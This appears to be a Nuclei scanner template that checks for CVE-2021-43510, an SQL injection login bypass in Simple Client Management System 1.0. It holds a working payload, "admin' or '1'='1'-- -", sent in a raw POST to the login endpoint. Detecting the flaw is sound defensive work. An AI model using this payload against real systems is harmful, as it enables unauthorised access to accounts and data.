id: CVE-2021-43510

info:
  name: Simple Client Management System 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    SQL Injection vulnerability exists in Sourcecodester Simple Client Management System 1.0 via the username field in login.php.
  reference:
    - https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43510
  classification:
    cve-id: CVE-2021-43510
  tags: cve,cve2021,sourcecodester,simpleclientmanagement,sqli

requests:
  - raw:
      - |
        @timeout: 10s
        POST /cms/classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'+or+'1'%3d'1'--+-&password=as

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "{\"status\":\"success\"}"